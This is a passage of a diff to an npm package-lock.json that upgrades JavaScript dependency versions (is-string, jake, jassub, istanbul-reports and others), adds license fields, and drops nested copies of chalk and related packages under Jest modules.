-      "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==",
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz",
+      "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2"
+        "call-bound": "^1.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -10110,6 +10427,7 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
       "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       },
@@ -10118,11 +10436,13 @@
       }
     },
     "node_modules/is-string": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz",
-      "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==",
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz",
+      "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==",
+      "license": "MIT",
       "dependencies": {
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.3",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -10132,11 +10452,14 @@
       }
     },
     "node_modules/is-symbol": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz",
-      "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==",
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz",
+      "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==",
+      "license": "MIT",
       "dependencies": {
-        "has-symbols": "^1.0.2"
+        "call-bound": "^1.0.2",
+        "has-symbols": "^1.1.0",
+        "safe-regex-test": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -10146,11 +10469,12 @@
       }
     },
     "node_modules/is-typed-array": {
-      "version": "1.1.13",
-      "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.13.tgz",
-      "integrity": "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw==",
+      "version": "1.1.15",
+      "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz",
+      "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==",
+      "license": "MIT",
       "dependencies": {
-        "which-typed-array": "^1.1.14"
+        "which-typed-array": "^1.1.16"
       },
       "engines": {
         "node": ">= 0.4"
@@ -10162,34 +10486,47 @@
     "node_modules/is-typedarray": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
-      "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA=="
+      "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==",
+      "license": "MIT"
     },
     "node_modules/is-weakmap": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.1.tgz",
-      "integrity": "sha512-NSBR4kH5oVj1Uwvv970ruUkCV7O1mzgVFO4/rev2cLRda9Tm9HrL70ZPut4rOHgY0FNrUu9BCbXA2sdQ+x0chA==",
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz",
+      "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/is-weakref": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz",
-      "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==",
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz",
+      "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2"
+        "call-bound": "^1.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/is-weakset": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.2.tgz",
-      "integrity": "sha512-t2yVvttHkQktwnNNmBQ98AhENLdPUTDTE21uPqAQ0ARwQfGeQKRVS0NNurH7bTf7RrvcVn1OOge45CnBeHCSmg==",
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz",
+      "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.1.1"
+        "call-bound": "^1.0.3",
+        "get-intrinsic": "^1.2.6"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -10199,6 +10536,7 @@
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
       "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==",
+      "license": "MIT",
       "dependencies": {
         "is-docker": "^2.0.0"
       },
@@ -10207,19 +10545,22 @@
       }
     },
     "node_modules/isarray": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
-      "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="
+      "version": "0.0.1",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
+      "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==",
+      "license": "MIT"
     },
     "node_modules/isexe": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
-      "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="
+      "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
+      "license": "ISC"
     },
     "node_modules/istanbul-lib-coverage": {
       "version": "3.2.2",
       "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz",
       "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=8"
       }
@@ -10228,6 +10569,7 @@
       "version": "5.2.1",
       "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz",
       "integrity": "sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Yg==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "@babel/core": "^7.12.3",
         "@babel/parser": "^7.14.7",
@@ -10243,6 +10585,7 @@
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz",
       "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "istanbul-lib-coverage": "^3.0.0",
         "make-dir": "^4.0.0",
@@ -10252,29 +10595,11 @@
         "node": ">=10"
       }
     },
-    "node_modules/istanbul-lib-report/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/istanbul-lib-report/node_modules/lru-cache": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
-      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
-      "dependencies": {
-        "yallist": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
     "node_modules/istanbul-lib-report/node_modules/make-dir": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz",
       "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==",
+      "license": "MIT",
       "dependencies": {
         "semver": "^7.5.3"
       },
@@ -10286,12 +10611,10 @@
       }
     },
     "node_modules/istanbul-lib-report/node_modules/semver": {
-      "version": "7.6.0",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz",
-      "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==",
-      "dependencies": {
-        "lru-cache": "^6.0.0"
-      },
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       },
@@ -10299,26 +10622,11 @@
         "node": ">=10"
       }
     },
-    "node_modules/istanbul-lib-report/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/istanbul-lib-report/node_modules/yallist": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
-      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
-    },
     "node_modules/istanbul-lib-source-maps": {
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",
       "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "debug": "^4.1.1",
         "istanbul-lib-coverage": "^3.0.0",
@@ -10332,14 +10640,16 @@
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/istanbul-reports": {
-      "version": "3.1.6",
-      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.6.tgz",
-      "integrity": "sha512-TLgnMkKg3iTDsQ9PbPTdpfAK2DzjF9mqUG7RMgcQl8oFjad8ob4laGxv5XV5U9MAfx8D6tSJiUyuAwzLicaxlg==",
+      "version": "3.1.7",
+      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.7.tgz",
+      "integrity": "sha512-BewmUXImeuRk2YY0PVbxgKAysvhRPUQE0h5QRM++nVWyubKGV0l8qQ5op8+B2DOmwSe63Jivj0BjkPQVf8fP5g==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "html-escaper": "^2.0.0",
         "istanbul-lib-report": "^3.0.0"
@@ -10349,27 +10659,30 @@
       }
     },
     "node_modules/iterator.prototype": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.2.tgz",
-      "integrity": "sha512-DR33HMMr8EzwuRL8Y9D3u2BMj8+RqSE850jfGu59kS7tbmPLzGkZmVSfyCFSDxuZiEY6Rzt3T2NA/qU+NwVj1w==",
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.5.tgz",
+      "integrity": "sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==",
+      "license": "MIT",
       "dependencies": {
-        "define-properties": "^1.2.1",
-        "get-intrinsic": "^1.2.1",
-        "has-symbols": "^1.0.3",
-        "reflect.getprototypeof": "^1.0.4",
-        "set-function-name": "^2.0.1"
+        "define-data-property": "^1.1.4",
+        "es-object-atoms": "^1.0.0",
+        "get-intrinsic": "^1.2.6",
+        "get-proto": "^1.0.0",
+        "has-symbols": "^1.1.0",
+        "set-function-name": "^2.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
       }
     },
     "node_modules/jackspeak": {
-      "version": "2.3.6",
-      "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-2.3.6.tgz",
-      "integrity": "sha512-N3yCS/NegsOBokc8GAdM8UcmfsKiSS8cipheD/nivzr700H+nsMOxJjQnvwOcRYVuFkdH0wGUvW2WbXGmrZGbQ==",
+      "version": "3.4.3",
+      "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz",
+      "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==",
+      "license": "BlueOak-1.0.0",
       "dependencies": {
         "@isaacs/cliui": "^8.0.2"
       },
-      "engines": {
-        "node": ">=14"
-      },
       "funding": {
         "url": "https://github.com/sponsors/isaacs"
       },
@@ -10378,9 +10691,10 @@
       }
     },
     "node_modules/jake": {
-      "version": "10.8.7",
-      "resolved": "https://registry.npmjs.org/jake/-/jake-10.8.7.tgz",
-      "integrity": "sha512-ZDi3aP+fG/LchyBzUM804VjddnwfSfsdeYkwt8NcbKRvo4rFkjhs456iLFn3k2ZUWvNe4i48WACDbza8fhq2+w==",
+      "version": "10.9.2",
+      "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.2.tgz",
+      "integrity": "sha512-2P4SQ0HrLQ+fw6llpLnOaGAvN2Zu6778SJMrCUwns4fOoG9ayrTiZk3VV8sCPkVZF8ab0zksVpS8FDY5pRCNBA==",
+      "license": "Apache-2.0",
       "dependencies": {
         "async": "^3.2.3",
         "chalk": "^4.0.2",
@@ -10394,74 +10708,11 @@
         "node": ">=10"
       }
     },
-    "node_modules/jake/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jake/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jake/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jake/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jake/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jake/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jassub": {
-      "version": "1.7.15",
-      "resolved": "https://registry.npmjs.org/jassub/-/jassub-1.7.15.tgz",
-      "integrity": "sha512-8yKAJc++Y1gNfATOPRo3APk0JUhshKl5l7bRkT6WkJ8XP4RvYfVPb6ieH6WDxsMq523exwGzNvjjPEEWT+Z1nQ==",
+      "version": "1.8.6",
+      "resolved": "https://registry.npmjs.org/jassub/-/jassub-1.8.6.tgz",
+      "integrity": "sha512-56ZTtjM7LfdKsi7boUN/seNOQSOclLuDWEXxnHO55xNakj95SlBrv36hLyNDw0NmoOtLVeqzbpBU1VxT+ubFpg==",
+      "license": "LGPL-2.1-or-later AND (FTL OR GPL-2.0-or-later) AND MIT AND MIT-Modern-Variant AND ISC AND NTP AND Zlib AND BSL-1.0",
       "dependencies": {
         "rvfc-polyfill": "^1.0.7"
       }
@@ -10470,6 +10721,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest/-/jest-27.5.1.tgz",
       "integrity": "sha512-Yn0mADZB89zTtjkPJEXwrac3LHudkQMR+Paqa8uxJHCBr9agxztUifWCyiYrjhMPBoUVBjyny0I7XH6ozDr7QQ==",
+      "license": "MIT",
       "dependencies": {
         "@jest/core": "^27.5.1",
         "import-local": "^3.0.2",
@@ -10494,6 +10746,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-27.5.1.tgz",
       "integrity": "sha512-buBLMiByfWGCoMsLLzGUUSpAmIAGnbR2KJoMN10ziLhOLvP4e0SlypHnAel8iqQXTrcbmfEY9sSqae5sgUsTvw==",
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^27.5.1",
         "execa": "^5.0.0",
@@ -10507,6 +10760,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-27.5.1.tgz",
       "integrity": "sha512-D95R7x5UtlMA5iBYsOHFFbMD/GVA4R/Kdq15f7xYWUfWHBto9NYRsOvnSauTgdF+ogCpJ4tyKOXhUifxS65gdw==",
+      "license": "MIT",
       "dependencies": {
         "@jest/environment": "^27.5.1",
         "@jest/test-result": "^27.5.1",
@@ -10532,74 +10786,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-circus/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-circus/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-circus/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-circus/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-circus/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-circus/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-cli": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-27.5.1.tgz",
       "integrity": "sha512-Hc6HOOwYq4/74/c62dEE3r5elx8wjYqxY0r0G/nFrLDPMFRu6RA/u8qINOIkvhxG7mMQ5EJsOGfRpI8L6eFUVw==",
+      "license": "MIT",
       "dependencies": {
         "@jest/core": "^27.5.1",
         "@jest/test-result": "^27.5.1",
@@ -10629,74 +10820,11 @@
         }
       }
     },
-    "node_modules/jest-cli/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-cli/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-cli/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-cli/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-cli/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-cli/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-config": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-27.5.1.tgz",
       "integrity": "sha512-5sAsjm6tGdsVbW9ahcChPAFCk4IlkQUknH5AvKjuLTSlcO/wCZKyFdn7Rg0EkC+OGgWODEy2hDpWB1PgzH0JNA==",
+      "license": "MIT",
       "dependencies": {
         "@babel/core": "^7.8.0",
         "@jest/test-sequencer": "^27.5.1",
@@ -10735,74 +10863,11 @@
         }
       }
     },
-    "node_modules/jest-config/node_modules/ansi-styles": {
-      "version": "4.3.0",
